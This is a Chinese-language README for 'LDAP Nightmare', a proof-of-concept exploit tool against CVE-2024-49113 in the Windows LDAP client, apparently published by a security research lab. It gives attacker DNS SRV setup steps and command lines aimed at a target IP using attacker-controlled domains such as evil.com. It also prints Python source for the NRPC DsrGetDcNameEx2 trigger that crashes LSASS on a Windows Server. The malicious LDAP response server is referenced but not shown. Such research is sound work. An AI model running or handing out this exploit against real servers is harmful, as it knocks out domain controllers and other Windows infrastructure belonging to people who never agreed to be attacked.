LDAP Nightmare
LDAP Nightmare 是一个针对 CVE-2024-49113 高危漏洞的概念验证(PoC)利用工具。该漏洞存在于 Windows 轻量级目录访问协议(LDAP)客户端中,根据微软公告,可导致远程代码执行。本工具通过 Netlogon 远程协议(NRPC)与 LDAP 客户端交互,触发漏洞导致目标 Windows Server 系统崩溃。
本工具由 SafeBreach Labs 开发,于 2025 年 1 月 1 日发布。完整技术分析请参阅 官方博客文章。
功能特性
- 远程利用:通过网络向目标 Windows Server 发送特制请求触发漏洞
- NRPC 协议交互:利用
DsrGetDcNameEx2RPC 函数调用 Netlogon 服务 - 异步 LDAP 服务器:内置恶意 LDAP 服务器响应查询,触发漏洞
- 可配置参数:支持自定义目标 IP、端口、域名、账户名等关键参数
- 自动化利用流程:自动启动服务端并发送攻击载荷,一键触发漏洞
安装指南
系统要求
- Python 3.6 或更高版本
- 管理员/root 权限(使用默认 389 端口时需要)
依赖安装
使用 pip 安装所需依赖:
pip install -r requirements.txt
主要依赖包括:
impacket:用于 NRPC 协议通信asyncio:异步 LDAP 服务器实现
攻击者环境配置
-
DNS SRV 记录配置:攻击者需拥有一个可控域名,并为其配置两条 DNS SRV 记录:
_ldap._tcp.dc._msdcs.<domain_name>→<listen_port><attacker_hostname>_ldap._tcp.default-first-site-name._sites.dc._msdcs.<domain_name>→<listen_port><attacker_hostname>
-
主机名解析:确保受害服务器能通过 NBNS 或 DNS 解析攻击者机器的主机名到攻击者 IP
使用说明
基础用法
python LdapNightmare.py <target_ip> --domain-name <domain_name> [选项]
参数说明
| 参数 | 说明 | 默认值 |
|---|---|---|
target_ip | 目标服务器 IP 地址(必填) | - |
-p, --port | RPC 通信 TCP 端口 | 49664 |
-l, --listen-port | 恶意服务器监听 UDP 端口 | 389 |
-d, --domain-name | 攻击者可控域名(必填) | - |
-a, --account | 账户名参数 | Administrator |
-s, --site-name | 站点名参数 | 空字符串 |
使用示例
# 基本利用
python LdapNightmare.py 192.168.1.100 --domain-name attacker.com
# 指定自定义端口和账户
python LdapNightmare.py 192.168.1.100 -d evil.com -p 49664 -l 389 -a Admin
预期输出
成功触发漏洞后,目标服务器 LSASS 进程将崩溃,Netlogon 连接被重置,工具输出如下:
[LDAP Nightmare:INFO] - Waiting for udp server to start...
[LDAP Nightmare:INFO] - Calling DsrGetDcNameEx2 now...
[LDAP Nightmare:INFO] - Connected to 192.168.1.100:49664
[LDAP Nightmare:INFO] - Sending DsrGetDcNameEx2 request...
[LDAP Nightmare:INFO] - Successfully triggered the vulnerability!
工作原理
- 启动恶意 LDAP 服务器:在后台线程中启动异步 UDP 服务器监听指定端口
- 调用 DsrGetDcNameEx2:通过 NRPC 向目标发送特制 RPC 请求,促使受害服务器向攻击者发送 LDAP 查询
- 触发漏洞:恶意服务器返回精心构造的响应,触发 CVE-2024-49113 漏洞,导致目标服务器崩溃
核心代码
主利用逻辑
# LdapNightmare.py - 主程序入口
import time
import asyncio
import argparse
import threading
from logger import logger
from rpc_call import DsrGetDcNameEx2
from exploit_server import run_exploit_server
def start_ldap_server(listen_port: int):
"""在后台线程中运行异步LDAP服务器"""
asyncio.run(run_exploit_server(listen_port))
def main():
parser = argparse.ArgumentParser(description="Call NRPC DsrGetDcNameEx2 via Impacket")
parser.add_argument("target_ip", help="目标IP地址")
parser.add_argument("--port", "-p", type=int, default=49664, help="RPC TCP端口")
parser.add_argument("--listen-port", "-l", type=int, default=389, help="恶意服务器UDP监听端口")
parser.add_argument("--domain-name", "-d", required=True, help="DomainName参数")
parser.add_argument("--account", "-a", default="Administrator", help="AccountName参数")
parser.add_argument("--site-name", "-s", default="", help="SiteName参数")
args = parser.parse_args()
# 启动恶意服务器后台线程
server_thread = threading.Thread(target=start_ldap_server, daemon=True, args=(args.listen_port,))
server_thread.start()
logger.info("等待UDP服务器启动...")
time.sleep(2)
# 调用RPC函数触发漏洞
logger.info("正在调用 DsrGetDcNameEx2...")
try:
DsrGetDcNameEx2(
target_ip=args.target_ip,
port=args.port,
account=args.account,
site_name=args.site_name,
domain_name=args.domain_name
)
logger.error("未能触发漏洞!")
except ConnectionResetError:
# Netlogon运行在lsass.exe进程中,漏洞触发后连接会被重置
logger.info("成功触发漏洞!")
NRPC RPC 调用实现
# rpc_call.py - DsrGetDcNameEx2 RPC调用封装
from logger import logger
from impacket.dcerpc.v5 import nrpc
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
NULL = '\x00'
def DsrGetDcNameEx2(target_ip: str, port: int, account: str, site_name: str, domain_name: str):
"""通过NRPC调用DsrGetDcNameEx2函数触发LDAP查询"""
# 构建ncacn_ip_tcp传输层
rpctransport = DCERPCTransportFactory(f'ncacn_ip_tcp:{target_ip}[{port}]')
dce = rpctransport.get_dce_rpc()
dce.connect()
logger.info(f"已连接到 {target_ip}:{port}")
try:
dce.bind(nrpc.MSRPC_UUID_NRPC)
except DCERPCException:
logger.error("绑定NRPC接口失败!")
logger.info("目标可能未运行netlogon服务")
raise
# 构造请求结构
request = nrpc.DsrGetDcNameEx2()
request['ComputerName'] = NULL
request['AccountName'] = account + NULL
request['AllowableAccountControlBits'] = 1 << 9 # 设置允许账户控制位
request['DomainName'] = domain_name + NULL
request['DomainGuid'] = NULL
request['SiteName'] = site_name + NULL
request['Flags'] = 0
logger.info("发送 DsrGetDcNameEx2 请求...")
resp = dce.request(request)
resp.dump()
dce.disconnect()
日志系统配置
# logger.py - 统一日志格式
import logging
# 定义带前缀的自定义格式
custom_format = '[LDAP Nightmare:%(levelname)s] - %(message)s'
# 创建日志器
logger = logging.getLogger('my_logger')
logger.setLevel(logging.INFO)
# 控制台处理器
console_handler = logging.StreamHandler()
# 设置格式化器
formatter = logging.Formatter(custom_format)
console_handler.setFormatter(formatter)
# 添加处理器
logger.addHandler(console_handler)
参考文献
- CVE-2024-49113 漏洞详情
- 微软安全公告 6HFtX5dABrKlqXeO5PUv/+kBtU0yl3phvT6UNa5eQdI=